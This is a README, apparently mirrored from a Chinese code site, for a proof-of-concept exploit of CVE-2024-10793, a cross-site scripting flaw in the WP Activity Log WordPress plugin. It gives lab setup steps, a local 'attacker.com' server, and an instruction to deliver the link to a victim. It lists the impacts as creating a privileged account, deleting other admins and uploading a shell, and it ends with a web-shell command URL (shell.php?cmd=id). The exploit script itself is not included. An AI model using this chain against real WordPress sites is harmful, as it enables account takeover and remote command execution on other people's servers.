CVE-2024-10793 PoC — WordPress plugin WP Activity Log 跨站脚本漏洞

介绍

# CVE-2024-10793 PoC


Set this lines to your `hosts` file:
```
127.0.0.1  goodcms.lab
127.0.0.1  attacker.com
```


Launch Wordpress using docker:
```shell
$ sudo systemctl start docker
$ sudo docker-compose up -d
```


Open http://goodcms.lab:2121 and do installation wordpress steps.
Install wp-security-audit-log.5.2.1 or older versions in wordpress.


Launch attacker server:
```shell
$ php -S 0:9091 -t ./exploit
```


Deliver http://attacker.com to victim & Bingo!

Exploit Impacts:
- Add privileged user.
- Change current admin profile
- Delete all admins except hacker :)
- Shell Upload
- Logout


![alt text](./images/PoC.png)


Account Takeover & Create Privileged User Poc:
Attacker credentials after exploit: { email: amin@attacker.com, username: amin, password: 123456 } (You can change from xpl.js code.)

Run Shell Command:
http://goodcms.lab:2121/wp-content/plugins/sogrid/shell.php?cmd=id

![alt text](./images/shell-PoC.png)

文件快照

备注